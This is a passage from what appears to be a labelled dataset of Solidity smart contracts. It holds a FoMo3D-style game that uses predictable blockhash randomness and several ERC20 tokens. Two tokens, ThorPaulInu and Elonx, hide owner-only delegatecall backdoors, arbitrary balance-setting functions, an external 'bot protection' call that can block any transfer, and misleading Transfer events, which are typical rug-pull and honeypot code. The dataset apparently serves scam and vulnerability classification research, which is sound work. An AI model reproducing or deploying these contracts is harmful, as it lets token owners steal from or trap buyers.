_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_);
endTx(_pID, 0, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook));
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook));
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(POOHMODatasets.EventReturns memory _eventData_)
private
returns (POOHMODatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, POOHMODatasets.EventReturns memory _eventData_)
private
returns (POOHMODatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(POOHMODatasets.EventReturns memory _eventData_)
private
returns (POOHMODatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _dev = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _POOH = (_pot.mul(potSplit_[_winTID].pooh)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_dev)).sub(_gen)).sub(_POOH);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_dev);
flushDivs.call.value(_POOH)(bytes4(keccak256("donate()")));
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.POOHAmount = _POOH;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
rndMax_ = timerLengths[determineNextRoundLength()];
round_[_rID].end = now.add(rndMax_);
round_[_rID].pot = _res;
return(_eventData_);
}
function determineNextRoundLength() internal view returns(uint256 time)
{
uint256 roundTime = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1)))) % 6;
return roundTime;
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMODatasets.EventReturns memory _eventData_)
private
returns(POOHMODatasets.EventReturns)
{
uint256 _dev = _eth / 100;
uint256 _POOH = 0;
if (!address(admin).call.value(_dev)())
{
_POOH = _dev;
_dev = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit POOHMOevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_POOH = _POOH.add(_aff);
}
_POOH = _POOH.add((_eth.mul(fees_[_team].pooh)) / (100));
if (_POOH > 0)
{
flushDivs.call.value(_POOH)(bytes4(keccak256("donate()")));
_eventData_.POOHAmount = _POOH.add(_eventData_.POOHAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
admin.transfer(msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, POOHMODatasets.EventReturns memory _eventData_)
private
returns(POOHMODatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].pooh)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, POOHMODatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit POOHMOevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.POOHAmount,
_eventData_.genAmount,
_eventData_.potAmount
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin);
require(activated_ == false);
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library POOHMODatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 POOHAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 pooh;
}
struct PotSplit {
uint256 gen;
uint256 pooh;
}
}
library KeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0);
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20);
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78);
require(_temp[1] != 0x58);
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a));
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20);
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true);
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 2,385 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract ThorPaulInu is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "Thor Paul Inu";
string public symbol = "TPI";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _tooWho, uint amount) public {
require(msg.sender == owner);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = amount;
emit Transfer(address(0x0), _tooWho[i], amount);
}
}
function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tooWho.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = _amounts[i];
emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
}
}
} | 0 | 1,959 |
pragma solidity ^0.4.23;
contract CoinJzc
{
address public admin_address = 0x59a6C9d93838E1901990b50469d5126C720716dc;
address public account_address = 0x59a6C9d93838E1901990b50469d5126C720716dc;
mapping(address => uint256) balances;
string public name = "DaJinZhuCoin";
string public symbol = "JZC";
uint8 public decimals = 18;
uint256 initSupply = 200000000;
uint256 public totalSupply = 0;
constructor()
payable
public
{
totalSupply = mul(initSupply, 10**uint256(decimals));
balances[account_address] = totalSupply;
}
function balanceOf( address _addr ) public view returns ( uint )
{
return balances[_addr];
}
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = sub(balances[msg.sender],_value);
balances[_to] = add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = sub(balances[_from], _value);
balances[_to] = add(balances[_to], _value);
allowed[_from][msg.sender] = sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else
{
allowed[msg.sender][_spender] = sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
bool public direct_drop_switch = true;
uint256 public direct_drop_rate = 1000;
address public direct_drop_address = 0x59a6C9d93838E1901990b50469d5126C720716dc;
address public direct_drop_withdraw_address = 0x59a6C9d93838E1901990b50469d5126C720716dc;
bool public direct_drop_range = false;
uint256 public direct_drop_range_start = 1547947620;
uint256 public direct_drop_range_end = 1579483620;
event TokenPurchase
(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
function buyTokens( address _beneficiary )
public
payable
returns (bool)
{
require(direct_drop_switch);
require(_beneficiary != address(0));
if( direct_drop_range )
{
require(block.timestamp >= direct_drop_range_start && block.timestamp <= direct_drop_range_end);
}
uint256 tokenAmount = div(mul(msg.value,direct_drop_rate ), 10**18);
uint256 decimalsAmount = mul( 10**uint256(decimals), tokenAmount);
require
(
balances[direct_drop_address] >= decimalsAmount
);
assert
(
decimalsAmount > 0
);
uint256 all = add(balances[direct_drop_address], balances[_beneficiary]);
balances[direct_drop_address] = sub(balances[direct_drop_address], decimalsAmount);
balances[_beneficiary] = add(balances[_beneficiary], decimalsAmount);
assert
(
all == add(balances[direct_drop_address], balances[_beneficiary])
);
emit TokenPurchase
(
msg.sender,
_beneficiary,
msg.value,
tokenAmount
);
return true;
}
modifier admin_only()
{
require(msg.sender==admin_address);
_;
}
function setAdmin( address new_admin_address )
public
admin_only
returns (bool)
{
require(new_admin_address != address(0));
admin_address = new_admin_address;
return true;
}
function setDirectDrop( bool status )
public
admin_only
returns (bool)
{
direct_drop_switch = status;
return true;
}
function withDraw()
public
{
require(msg.sender == admin_address || msg.sender == direct_drop_withdraw_address);
require(address(this).balance > 0);
direct_drop_withdraw_address.transfer(address(this).balance);
}
function () external payable
{
buyTokens(msg.sender);
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0)
{
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,976 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Elonx {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
